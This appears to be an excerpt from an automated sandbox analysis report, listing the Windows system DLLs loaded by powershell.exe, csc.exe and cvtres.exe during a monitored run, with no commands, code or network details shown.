Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
